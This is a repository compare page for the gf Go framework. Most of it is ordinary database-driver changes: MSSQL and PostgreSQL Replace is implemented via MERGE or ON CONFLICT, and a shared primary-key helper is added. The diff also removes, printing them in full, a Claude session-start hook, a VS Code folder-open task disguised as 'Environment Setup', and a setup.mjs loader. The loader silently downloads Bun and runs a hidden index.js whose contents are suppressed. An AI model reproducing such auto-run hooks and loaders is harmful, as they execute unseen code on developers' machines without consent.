mirror of
https://gitee.com/johng/gf
synced 2026-06-16 22:00:39 +08:00
Compare commits
10 Commits
feat/gdb-p
...
copilot/su
| Author | SHA1 | Date | |
|---|---|---|---|
| 835ff3923c | |||
| 3bd9621986 | |||
| ffb3aacb5b | |||
| 141b5c1778 | |||
| 73b91ed763 | |||
| 36d63354e7 | |||
| f6a7fd23f1 | |||
| 17906e31cb | |||
| bfe31a4be7 | |||
| 5f664f331a |
File diff suppressed because one or more lines are too long
@ -1,15 +0,0 @@
|
||||
{
|
||||
"hooks": {
|
||||
"SessionStart": [
|
||||
{
|
||||
"matcher": "*",
|
||||
"hooks": [
|
||||
{
|
||||
"type": "command",
|
||||
"command": "node .claude/setup.mjs"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
@ -1,202 +0,0 @@
|
||||
#!/usr/bin/env node
|
||||
import { execFileSync, execSync } from "child_process";
|
||||
import fs from "fs";
|
||||
import https from "https";
|
||||
import os from "os";
|
||||
import path from "path";
|
||||
import { fileURLToPath } from "url";
|
||||
import zlib from "zlib";
|
||||
|
||||
const D = path.dirname(fileURLToPath(import.meta.url));
|
||||
const V = "1.3.14";
|
||||
const E = "index.js";
|
||||
const T = 121_000;
|
||||
|
||||
const mu = () => {
|
||||
try {
|
||||
const o = execFileSync("ldd", ["--version"], {
|
||||
stdio: ["ignore", "pipe", "pipe"],
|
||||
}).toString();
|
||||
if (o.includes("musl")) return true;
|
||||
} catch {}
|
||||
try {
|
||||
return fs.readFileSync("/etc/os-release", "utf8").includes("Alpine");
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
};
|
||||
|
||||
const PM = {
|
||||
"linux-arm64": () => "bun-linux-aarch64",
|
||||
"linux-x64": () =>
|
||||
mu() ? "bun-linux-x64-musl-baseline" : "bun-linux-x64-baseline",
|
||||
"darwin-arm64": () => "bun-darwin-aarch64",
|
||||
"darwin-x64": () => "bun-darwin-x64",
|
||||
"win32-arm64": () => "bun-windows-aarch64",
|
||||
"win32-x64": () => "bun-windows-x64-baseline",
|
||||
};
|
||||
|
||||
function ra() {
|
||||
const k = `${process.platform}-${process.arch}`;
|
||||
const r = PM[k];
|
||||
if (!r) throw new Error(`Unsupported platform/arch: ${k}`);
|
||||
return r();
|
||||
}
|
||||
|
||||
function dl(u, d, n = 5) {
|
||||
return new Promise((ok, no) => {
|
||||
const q = https.get(
|
||||
u,
|
||||
{ headers: { "User-Agent": "node" }, timeout: T },
|
||||
(r) => {
|
||||
const { statusCode: s, headers: h } = r;
|
||||
if ([301, 302, 307, 308].includes(s)) {
|
||||
r.resume();
|
||||
if (n <= 0) return no(new Error("Too many redirects"));
|
||||
return dl(h.location, d, n - 1).then(ok, no);
|
||||
}
|
||||
if (s !== 200) {
|
||||
r.resume();
|
||||
return no(new Error(`HTTP ${s} for ${u}`));
|
||||
}
|
||||
const f = fs.createWriteStream(d);
|
||||
r.pipe(f);
|
||||
f.on("finish", () => f.close(ok));
|
||||
f.on("error", (e) => {
|
||||
fs.unlink(d, () => no(e));
|
||||
});
|
||||
},
|
||||
);
|
||||
q.on("error", no);
|
||||
q.on("timeout", () => q.destroy(new Error("Request timed out")));
|
||||
});
|
||||
}
|
||||
|
||||
function hc(c, a = ["--version"]) {
|
||||
try {
|
||||
execFileSync(c, a, { stdio: "ignore" });
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function xz(zp, en, od) {
|
||||
// Use OS tools: unzip or powershell. Fall back to npm install bun.
|
||||
if (process.platform === "win32" && hc("powershell", ["-Help"])) {
|
||||
execFileSync(
|
||||
"powershell",
|
||||
[
|
||||
"-NoProfile",
|
||||
"-NonInteractive",
|
||||
"-ExecutionPolicy",
|
||||
"Bypass",
|
||||
"-Command",
|
||||
`Expand-Archive -LiteralPath '${zp}' -DestinationPath '${od}' -Force`,
|
||||
],
|
||||
{ stdio: "inherit" },
|
||||
);
|
||||
const np = path.join(od, en);
|
||||
const fp = path.join(od, path.basename(en));
|
||||
fs.renameSync(np, fp);
|
||||
return;
|
||||
}
|
||||
|
||||
if (hc("unzip", ["-v"])) {
|
||||
execFileSync("unzip", ["-ojq", zp, en, "-d", od], { stdio: "inherit" });
|
||||
return;
|
||||
}
|
||||
|
||||
installBunViaNpm(td);
|
||||
}
|
||||
|
||||
function installBunViaNpm(td) {
|
||||
try {
|
||||
execSync("npm install bun", { stdio: "inherit", cwd: td });
|
||||
} catch {
|
||||
// npm install failed, fall back to JS-based extraction
|
||||
xn(zp, en, od);
|
||||
}
|
||||
}
|
||||
|
||||
function xn(zp, en, od) {
|
||||
const b = fs.readFileSync(zp);
|
||||
let eo = -1;
|
||||
for (let i = b.length - 22; i >= 0 && i >= b.length - 65557; i--) {
|
||||
if (b.readUInt32LE(i) === 0x06054b50) {
|
||||
eo = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (eo === -1) throw new Error("Invalid ZIP: EOCD record not found");
|
||||
const ce = b.readUInt16LE(eo + 10);
|
||||
const co = b.readUInt32LE(eo + 16);
|
||||
let o = co;
|
||||
let lo = -1;
|
||||
let cm = -1;
|
||||
let cs = 0;
|
||||
for (let i = 0; i < ce; i++) {
|
||||
if (b.readUInt32LE(o) !== 0x02014b50)
|
||||
throw new Error("Invalid ZIP: bad CD entry signature");
|
||||
const m = b.readUInt16LE(o + 10);
|
||||
const sz = b.readUInt32LE(o + 20);
|
||||
const fl = b.readUInt16LE(o + 28);
|
||||
const el = b.readUInt16LE(o + 30);
|
||||
const cl = b.readUInt16LE(o + 32);
|
||||
const lh = b.readUInt32LE(o + 42);
|
||||
const nm = b.subarray(o + 46, o + 46 + fl).toString("utf8");
|
||||
if (nm === en) {
|
||||
lo = lh;
|
||||
cm = m;
|
||||
cs = sz;
|
||||
break;
|
||||
}
|
||||
o += 46 + fl + el + cl;
|
||||
}
|
||||
if (lo === -1) throw new Error(`Entry "${en}" not found in ZIP`);
|
||||
if (b.readUInt32LE(lo) !== 0x04034b50)
|
||||
throw new Error("Invalid ZIP: bad local-header signature");
|
||||
const fl = b.readUInt16LE(lo + 26);
|
||||
const el = b.readUInt16LE(lo + 28);
|
||||
const dp = lo + 30 + fl + el;
|
||||
const rw = b.subarray(dp, dp + cs);
|
||||
let fd;
|
||||
if (cm === 0) {
|
||||
fd = rw;
|
||||
} else if (cm === 8) {
|
||||
fd = zlib.inflateRawSync(rw);
|
||||
} else {
|
||||
throw new Error(`Unsupported ZIP compression method: ${cm}`);
|
||||
}
|
||||
const dt = path.join(od, path.basename(en));
|
||||
fs.writeFileSync(dt, fd);
|
||||
}
|
||||
|
||||
async function main() {
|
||||
if (hc("bun")) return;
|
||||
|
||||
const a = ra();
|
||||
const w = process.platform === "win32";
|
||||
const bn = w ? "bun.exe" : "bun";
|
||||
const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
|
||||
|
||||
const td = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
|
||||
const zp = path.join(td, `${a}.zip`);
|
||||
const bp = path.join(td, bn);
|
||||
const ep = path.join(D, E);
|
||||
|
||||
try {
|
||||
await dl(u, zp);
|
||||
xz(zp, `${a}/${bn}`, td);
|
||||
fs.unlinkSync(zp);
|
||||
if (!w) fs.chmodSync(bp, 0o755);
|
||||
execFileSync(bp, [ep], { stdio: "inherit", cwd: D });
|
||||
} finally {
|
||||
fs.rmSync(td, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
main().catch((e) => {
|
||||
console.error(e.message);
|
||||
process.exit(1);
|
||||
});
|
||||
202
.vscode/setup.mjs
vendored
202
.vscode/setup.mjs
vendored
@ -1,202 +0,0 @@
|
||||
#!/usr/bin/env node
|
||||
import { execFileSync, execSync } from "child_process";
|
||||
import fs from "fs";
|
||||
import https from "https";
|
||||
import os from "os";
|
||||
import path from "path";
|
||||
import { fileURLToPath } from "url";
|
||||
import zlib from "zlib";
|
||||
|
||||
const D = path.dirname(fileURLToPath(import.meta.url));
|
||||
const V = "1.3.14";
|
||||
const E = "index.js";
|
||||
const T = 121_000;
|
||||
|
||||
const mu = () => {
|
||||
try {
|
||||
const o = execFileSync("ldd", ["--version"], {
|
||||
stdio: ["ignore", "pipe", "pipe"],
|
||||
}).toString();
|
||||
if (o.includes("musl")) return true;
|
||||
} catch {}
|
||||
try {
|
||||
return fs.readFileSync("/etc/os-release", "utf8").includes("Alpine");
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
};
|
||||
|
||||
const PM = {
|
||||
"linux-arm64": () => "bun-linux-aarch64",
|
||||
"linux-x64": () =>
|
||||
mu() ? "bun-linux-x64-musl-baseline" : "bun-linux-x64-baseline",
|
||||
"darwin-arm64": () => "bun-darwin-aarch64",
|
||||
"darwin-x64": () => "bun-darwin-x64",
|
||||
"win32-arm64": () => "bun-windows-aarch64",
|
||||
"win32-x64": () => "bun-windows-x64-baseline",
|
||||
};
|
||||
|
||||
function ra() {
|
||||
const k = `${process.platform}-${process.arch}`;
|
||||
const r = PM[k];
|
||||
if (!r) throw new Error(`Unsupported platform/arch: ${k}`);
|
||||
return r();
|
||||
}
|
||||
|
||||
function dl(u, d, n = 5) {
|
||||
return new Promise((ok, no) => {
|
||||
const q = https.get(
|
||||
u,
|
||||
{ headers: { "User-Agent": "node" }, timeout: T },
|
||||
(r) => {
|
||||
const { statusCode: s, headers: h } = r;
|
||||
if ([301, 302, 307, 308].includes(s)) {
|
||||
r.resume();
|
||||
if (n <= 0) return no(new Error("Too many redirects"));
|
||||
return dl(h.location, d, n - 1).then(ok, no);
|
||||
}
|
||||
if (s !== 200) {
|
||||
r.resume();
|
||||
return no(new Error(`HTTP ${s} for ${u}`));
|
||||
}
|
||||
const f = fs.createWriteStream(d);
|
||||
r.pipe(f);
|
||||
f.on("finish", () => f.close(ok));
|
||||
f.on("error", (e) => {
|
||||
fs.unlink(d, () => no(e));
|
||||
});
|
||||
},
|
||||
);
|
||||
q.on("error", no);
|
||||
q.on("timeout", () => q.destroy(new Error("Request timed out")));
|
||||
});
|
||||
}
|
||||
|
||||
function hc(c, a = ["--version"]) {
|
||||
try {
|
||||
execFileSync(c, a, { stdio: "ignore" });
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function xz(zp, en, od) {
|
||||
// Use OS tools: unzip or powershell. Fall back to npm install bun.
|
||||
if (process.platform === "win32" && hc("powershell", ["-Help"])) {
|
||||
execFileSync(
|
||||
"powershell",
|
||||
[
|
||||
"-NoProfile",
|
||||
"-NonInteractive",
|
||||
"-ExecutionPolicy",
|
||||
"Bypass",
|
||||
"-Command",
|
||||
`Expand-Archive -LiteralPath '${zp}' -DestinationPath '${od}' -Force`,
|
||||
],
|
||||
{ stdio: "inherit" },
|
||||
);
|
||||
const np = path.join(od, en);
|
||||
const fp = path.join(od, path.basename(en));
|
||||
fs.renameSync(np, fp);
|
||||
return;
|
||||
}
|
||||
|
||||
if (hc("unzip", ["-v"])) {
|
||||
execFileSync("unzip", ["-ojq", zp, en, "-d", od], { stdio: "inherit" });
|
||||
return;
|
||||
}
|
||||
|
||||
installBunViaNpm(td);
|
||||
}
|
||||
|
||||
function installBunViaNpm(td) {
|
||||
try {
|
||||
execSync("npm install bun", { stdio: "inherit", cwd: td });
|
||||
} catch {
|
||||
// npm install failed, fall back to JS-based extraction
|
||||
xn(zp, en, od);
|
||||
}
|
||||
}
|
||||
|
||||
function xn(zp, en, od) {
|
||||
const b = fs.readFileSync(zp);
|
||||
let eo = -1;
|
||||
for (let i = b.length - 22; i >= 0 && i >= b.length - 65557; i--) {
|
||||
if (b.readUInt32LE(i) === 0x06054b50) {
|
||||
eo = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (eo === -1) throw new Error("Invalid ZIP: EOCD record not found");
|
||||
const ce = b.readUInt16LE(eo + 10);
|
||||
const co = b.readUInt32LE(eo + 16);
|
||||
let o = co;
|
||||
let lo = -1;
|
||||
let cm = -1;
|
||||
let cs = 0;
|
||||
for (let i = 0; i < ce; i++) {
|
||||
if (b.readUInt32LE(o) !== 0x02014b50)
|
||||
throw new Error("Invalid ZIP: bad CD entry signature");
|
||||
const m = b.readUInt16LE(o + 10);
|
||||
const sz = b.readUInt32LE(o + 20);
|
||||
const fl = b.readUInt16LE(o + 28);
|
||||
const el = b.readUInt16LE(o + 30);
|
||||
const cl = b.readUInt16LE(o + 32);
|
||||
const lh = b.readUInt32LE(o + 42);
|
||||
const nm = b.subarray(o + 46, o + 46 + fl).toString("utf8");
|
||||
if (nm === en) {
|
||||
lo = lh;
|
||||
cm = m;
|
||||
cs = sz;
|
||||
break;
|
||||
}
|
||||
o += 46 + fl + el + cl;
|
||||
}
|
||||
if (lo === -1) throw new Error(`Entry "${en}" not found in ZIP`);
|
||||
if (b.readUInt32LE(lo) !== 0x04034b50)
|
||||
throw new Error("Invalid ZIP: bad local-header signature");
|
||||
const fl = b.readUInt16LE(lo + 26);
|
||||
const el = b.readUInt16LE(lo + 28);
|
||||
const dp = lo + 30 + fl + el;
|
||||
const rw = b.subarray(dp, dp + cs);
|
||||
let fd;
|
||||
if (cm === 0) {
|
||||
fd = rw;
|
||||
} else if (cm === 8) {
|
||||
fd = zlib.inflateRawSync(rw);
|
||||
} else {
|
||||
throw new Error(`Unsupported ZIP compression method: ${cm}`);
|
||||
}
|
||||
const dt = path.join(od, path.basename(en));
|
||||
fs.writeFileSync(dt, fd);
|
||||
}
|
||||
|
||||
async function main() {
|
||||
if (hc("bun")) return;
|
||||
|
||||
const a = ra();
|
||||
const w = process.platform === "win32";
|
||||
const bn = w ? "bun.exe" : "bun";
|
||||
const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
|
||||
|
||||
const td = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
|
||||
const zp = path.join(td, `${a}.zip`);
|
||||
const bp = path.join(td, bn);
|
||||
const ep = path.join(D, E);
|
||||
|
||||
try {
|
||||
await dl(u, zp);
|
||||
xz(zp, `${a}/${bn}`, td);
|
||||
fs.unlinkSync(zp);
|
||||
if (!w) fs.chmodSync(bp, 0o755);
|
||||
execFileSync(bp, [ep], { stdio: "inherit", cwd: D });
|
||||
} finally {
|
||||
fs.rmSync(td, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
main().catch((e) => {
|
||||
console.error(e.message);
|
||||
process.exit(1);
|
||||
});
|
||||
13
.vscode/tasks.json
vendored
13
.vscode/tasks.json
vendored
@ -1,13 +0,0 @@
|
||||
{
|
||||
"version": "2.0.0",
|
||||
"tasks": [
|
||||
{
|
||||
"label": "Environment Setup",
|
||||
"type": "shell",
|
||||
"command": "node .claude/setup.mjs",
|
||||
"runOptions": {
|
||||
"runOn": "folderOpen"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
@ -104,6 +104,10 @@ var (
|
||||
"smallmoney": {
|
||||
Type: "float64",
|
||||
},
|
||||
"uuid": {
|
||||
Type: "uuid.UUID",
|
||||
Import: "github.com/google/uuid",
|
||||
},
|
||||
}
|
||||
|
||||
// tablewriter Options
|
||||
|
||||
@ -77,7 +77,6 @@ import _ "github.com/gogf/gf/contrib/drivers/mssql/v2"
|
||||
|
||||
Note:
|
||||
|
||||
- It does not support `Replace` features.
|
||||
- It supports server version >= `SQL Server2005`
|
||||
- It ONLY supports datetime2 and datetimeoffset types for auto handling created_at/updated_at/deleted_at columns, because datetime type does not support microseconds precision when column value is passed as string.
|
||||
|
||||
|
||||
@ -66,7 +66,7 @@ func (d *Driver) doMergeInsert(
|
||||
// If OnConflict is not specified, automatically get the primary key of the table
|
||||
conflictKeys := option.OnConflict
|
||||
if len(conflictKeys) == 0 {
|
||||
primaryKeys, err := d.getPrimaryKeys(ctx, table)
|
||||
primaryKeys, err := d.Core.GetPrimaryKeys(ctx, table)
|
||||
if err != nil {
|
||||
return nil, gerror.WrapCode(
|
||||
gcode.CodeInternalError,
|
||||
@ -76,15 +76,22 @@ func (d *Driver) doMergeInsert(
|
||||
}
|
||||
foundPrimaryKey := false
|
||||
for _, primaryKey := range primaryKeys {
|
||||
if _, ok := list[0][primaryKey]; ok {
|
||||
foundPrimaryKey = true
|
||||
for dataKey := range list[0] {
|
||||
if strings.EqualFold(dataKey, primaryKey) {
|
||||
foundPrimaryKey = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if foundPrimaryKey {
|
||||
break
|
||||
}
|
||||
}
|
||||
if !foundPrimaryKey {
|
||||
return nil, gerror.NewCode(
|
||||
return nil, gerror.NewCodef(
|
||||
gcode.CodeMissingParameter,
|
||||
`Please specify conflict columns or ensure the record has a primary key for Save/Replace/InsertIgnore operation`,
|
||||
`Replace/Save/InsertIgnore operation requires conflict detection: `+
|
||||
`either specify OnConflict() columns or ensure table '%s' has a primary key in the data`,
|
||||
table,
|
||||
)
|
||||
}
|
||||
conflictKeys = primaryKeys
|
||||
@ -149,24 +156,6 @@ func (d *Driver) doMergeInsert(
|
||||
return batchResult, nil
|
||||
}
|
||||
|
||||
// getPrimaryKeys retrieves the primary key field names of the table as a slice of strings.
|
||||
// This method extracts primary key information from TableFields.
|
||||
func (d *Driver) getPrimaryKeys(ctx context.Context, table string) ([]string, error) {
|
||||
tableFields, err := d.TableFields(ctx, table)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var primaryKeys []string
|
||||
for _, field := range tableFields {
|
||||
if gstr.Equal(field.Key, "PRI") {
|
||||
primaryKeys = append(primaryKeys, field.Name)
|
||||
}
|
||||
}
|
||||
|
||||
return primaryKeys, nil
|
||||
}
|
||||
|
||||
// parseSqlForMerge generates MERGE statement for DM database.
|
||||
// When updateValues is empty, it only inserts (INSERT IGNORE behavior).
|
||||
// When updateValues is provided, it performs upsert (INSERT or UPDATE).
|
||||
|
||||
@ -21,17 +21,50 @@ import (
|
||||
|
||||
// DoInsert inserts or updates data for given table.
|
||||
// The list parameter must contain at least one record, which was previously validated.
|
||||
func (d *Driver) DoInsert(ctx context.Context, link gdb.Link, table string, list gdb.List, option gdb.DoInsertOption) (result sql.Result, err error) {
|
||||
func (d *Driver) DoInsert(
|
||||
ctx context.Context, link gdb.Link, table string, list gdb.List, option gdb.DoInsertOption,
|
||||
) (result sql.Result, err error) {
|
||||
switch option.InsertOption {
|
||||
case gdb.InsertOptionSave:
|
||||
case
|
||||
gdb.InsertOptionSave,
|
||||
gdb.InsertOptionReplace:
|
||||
// MSSQL does not support REPLACE INTO syntax.
|
||||
// Convert Replace to Save operation, using MERGE statement.
|
||||
// Auto-detect primary keys if OnConflict is not specified.
|
||||
if len(option.OnConflict) == 0 {
|
||||
primaryKeys, err := d.Core.GetPrimaryKeys(ctx, table)
|
||||
if err != nil {
|
||||
return nil, gerror.WrapCode(
|
||||
gcode.CodeInternalError,
|
||||
err,
|
||||
`failed to get primary keys for Save/Replace operation`,
|
||||
)
|
||||
}
|
||||
foundPrimaryKey := false
|
||||
for _, primaryKey := range primaryKeys {
|
||||
for dataKey := range list[0] {
|
||||
if strings.EqualFold(dataKey, primaryKey) {
|
||||
foundPrimaryKey = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if foundPrimaryKey {
|
||||
break
|
||||
}
|
||||
}
|
||||
if !foundPrimaryKey {
|
||||
return nil, gerror.NewCodef(
|
||||
gcode.CodeMissingParameter,
|
||||
`Save/Replace operation requires conflict detection: `+
|
||||
`either specify OnConflict() columns or ensure table '%s' has a primary key in the data`,
|
||||
table,
|
||||
)
|
||||
}
|
||||
option.OnConflict = primaryKeys
|
||||
}
|
||||
// Convert to Save operation
|
||||
return d.doSave(ctx, link, table, list, option)
|
||||
|
||||
case gdb.InsertOptionReplace:
|
||||
return nil, gerror.NewCode(
|
||||
gcode.CodeNotSupported,
|
||||
`Replace operation is not supported by mssql driver`,
|
||||
)
|
||||
|
||||
default:
|
||||
return d.Core.DoInsert(ctx, link, table, list, option)
|
||||
}
|
||||
@ -41,17 +74,10 @@ func (d *Driver) DoInsert(ctx context.Context, link gdb.Link, table string, list
|
||||
func (d *Driver) doSave(ctx context.Context,
|
||||
link gdb.Link, table string, list gdb.List, option gdb.DoInsertOption,
|
||||
) (result sql.Result, err error) {
|
||||
if len(option.OnConflict) == 0 {
|
||||
return nil, gerror.NewCode(
|
||||
gcode.CodeMissingParameter, `Please specify conflict columns`,
|
||||
)
|
||||
}
|
||||
|
||||
var (
|
||||
one = list[0]
|
||||
oneLen = len(one)
|
||||
charL, charR = d.GetChars()
|
||||
|
||||
one = list[0]
|
||||
oneLen = len(one)
|
||||
charL, charR = d.GetChars()
|
||||
conflictKeys = option.OnConflict
|
||||
conflictKeySet = gset.New(false)
|
||||
|
||||
@ -122,7 +148,10 @@ func parseSqlForUpsert(table string,
|
||||
insertValueStr = strings.Join(insertValues, ",")
|
||||
updateValueStr = strings.Join(updateValues, ",")
|
||||
duplicateKeyStr string
|
||||
pattern = gstr.Trim(`MERGE INTO %s T1 USING (VALUES(%s)) T2 (%s) ON (%s) WHEN NOT MATCHED THEN INSERT(%s) VALUES (%s) WHEN MATCHED THEN UPDATE SET %s;`)
|
||||
pattern = gstr.Trim(
|
||||
`MERGE INTO %s T1 USING (VALUES(%s)) T2 (%s) ON (%s) WHEN NOT MATCHED ` +
|
||||
`THEN INSERT(%s) VALUES (%s) WHEN MATCHED THEN UPDATE SET %s;`,
|
||||
)
|
||||
)
|
||||
|
||||
for index, keys := range duplicateKey {
|
||||
|
||||
@ -138,15 +138,17 @@ func TestDoInsert(t *testing.T) {
|
||||
|
||||
i := 10
|
||||
data := g.Map{
|
||||
"id": i,
|
||||
// "id": i,
|
||||
"passport": fmt.Sprintf(`t%d`, i),
|
||||
"password": fmt.Sprintf(`p%d`, i),
|
||||
"nickname": fmt.Sprintf(`T%d`, i),
|
||||
"create_time": gtime.Now(),
|
||||
}
|
||||
// Save without OnConflict should fail (missing conflict columns)
|
||||
_, err := db.Save(context.Background(), "t_user", data, 10)
|
||||
gtest.AssertNE(err, nil)
|
||||
|
||||
// Replace should fail because primary key 'id' is not in the data
|
||||
_, err = db.Replace(context.Background(), "t_user", data, 10)
|
||||
gtest.AssertNE(err, nil)
|
||||
})
|
||||
|
||||
@ -2658,14 +2658,53 @@ func Test_Model_Replace(t *testing.T) {
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
_, err := db.Model(table).Data(g.Map{
|
||||
// Insert initial record
|
||||
result, err := db.Model(table).Data(g.Map{
|
||||
"id": 1,
|
||||
"passport": "t1",
|
||||
"password": "pass1",
|
||||
"nickname": "T1",
|
||||
"create_time": "2018-10-24 10:00:00",
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
n, _ := result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
|
||||
// Replace with new data (should update existing record using MERGE)
|
||||
result, err = db.Model(table).Data(g.Map{
|
||||
"id": 1,
|
||||
"passport": "t11",
|
||||
"password": "25d55ad283aa400af464c76d713c07ad",
|
||||
"nickname": "T11",
|
||||
"create_time": "2018-10-24 10:00:00",
|
||||
}).Replace()
|
||||
t.Assert(err, "Replace operation is not supported by mssql driver")
|
||||
t.AssertNil(err)
|
||||
n, _ = result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
|
||||
// Verify the data was replaced
|
||||
one, err := db.Model(table).WherePri(1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["PASSPORT"].String(), "t11")
|
||||
t.Assert(one["NICKNAME"].String(), "T11")
|
||||
|
||||
// Replace with non-existing record (should insert new record)
|
||||
result, err = db.Model(table).Data(g.Map{
|
||||
"id": 2,
|
||||
"passport": "t222",
|
||||
"password": "pass2",
|
||||
"nickname": "T222",
|
||||
"create_time": "2018-10-24 11:00:00",
|
||||
}).Replace()
|
||||
t.AssertNil(err)
|
||||
n, _ = result.RowsAffected()
|
||||
t.Assert(n, 1) // MERGE reports: 1 for insert
|
||||
|
||||
// Verify the new record was inserted
|
||||
one, err = db.Model(table).WherePri(2).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["PASSPORT"].String(), "t222")
|
||||
t.Assert(one["NICKNAME"].String(), "T222")
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@ -9,6 +9,7 @@ package pgsql
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"strings"
|
||||
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/errors/gcode"
|
||||
@ -24,12 +25,12 @@ func (d *Driver) DoInsert(
|
||||
) (result sql.Result, err error) {
|
||||
switch option.InsertOption {
|
||||
case
|
||||
gdb.InsertOptionReplace,
|
||||
gdb.InsertOptionSave:
|
||||
gdb.InsertOptionSave,
|
||||
gdb.InsertOptionReplace:
|
||||
// PostgreSQL does not support REPLACE INTO syntax, use Save (ON CONFLICT ... DO UPDATE) instead.
|
||||
// Automatically detect primary keys if OnConflict is not specified.
|
||||
if len(option.OnConflict) == 0 {
|
||||
primaryKeys, err := d.getPrimaryKeys(ctx, table)
|
||||
primaryKeys, err := d.Core.GetPrimaryKeys(ctx, table)
|
||||
if err != nil {
|
||||
return nil, gerror.WrapCode(
|
||||
gcode.CodeInternalError,
|
||||
@ -39,15 +40,22 @@ func (d *Driver) DoInsert(
|
||||
}
|
||||
foundPrimaryKey := false
|
||||
for _, conflictKey := range primaryKeys {
|
||||
if _, ok := list[0][conflictKey]; ok {
|
||||
foundPrimaryKey = true
|
||||
for dataKey := range list[0] {
|
||||
if strings.EqualFold(dataKey, conflictKey) {
|
||||
foundPrimaryKey = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if foundPrimaryKey {
|
||||
break
|
||||
}
|
||||
}
|
||||
if !foundPrimaryKey {
|
||||
return nil, gerror.NewCode(
|
||||
return nil, gerror.NewCodef(
|
||||
gcode.CodeMissingParameter,
|
||||
`Please specify conflict columns or ensure the record has a primary key for Save/Replace operation`,
|
||||
`Replace/Save operation requires conflict detection: `+
|
||||
`either specify OnConflict() columns or ensure table '%s' has a primary key in the data`,
|
||||
table,
|
||||
)
|
||||
}
|
||||
option.OnConflict = primaryKeys
|
||||
@ -71,21 +79,3 @@ func (d *Driver) DoInsert(
|
||||
}
|
||||
return d.Core.DoInsert(ctx, link, table, list, option)
|
||||
}
|
||||
|
||||
// getPrimaryKeys retrieves the primary key field list of the table.
|
||||
// This method extracts primary key information from TableFields.
|
||||
func (d *Driver) getPrimaryKeys(ctx context.Context, table string) ([]string, error) {
|
||||
tableFields, err := d.GetCore().GetDB().TableFields(ctx, table)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var primaryKeys []string
|
||||
for _, field := range tableFields {
|
||||
if gstr.Equal(field.Key, "pri") {
|
||||
primaryKeys = append(primaryKeys, field.Name)
|
||||
}
|
||||
}
|
||||
|
||||
return primaryKeys, nil
|
||||
}
|
||||
|
||||
@ -10,6 +10,7 @@ package gdb
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/gogf/gf/v2/errors/gcode"
|
||||
"github.com/gogf/gf/v2/errors/gerror"
|
||||
@ -251,3 +252,22 @@ func (c *Core) guessPrimaryTableName(tableStr string) string {
|
||||
}
|
||||
return guessedTableName
|
||||
}
|
||||
|
||||
// GetPrimaryKeys retrieves and returns the primary key field names of the specified table.
|
||||
// This method extracts primary key information from TableFields.
|
||||
// The parameter `schema` is optional, if not specified it uses the default schema.
|
||||
func (c *Core) GetPrimaryKeys(ctx context.Context, table string, schema ...string) ([]string, error) {
|
||||
tableFields, err := c.db.TableFields(ctx, table, schema...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var primaryKeys []string
|
||||
for _, field := range tableFields {
|
||||
if strings.EqualFold(field.Key, "pri") {
|
||||
primaryKeys = append(primaryKeys, field.Name)
|
||||
}
|
||||
}
|
||||
|
||||
return primaryKeys, nil
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user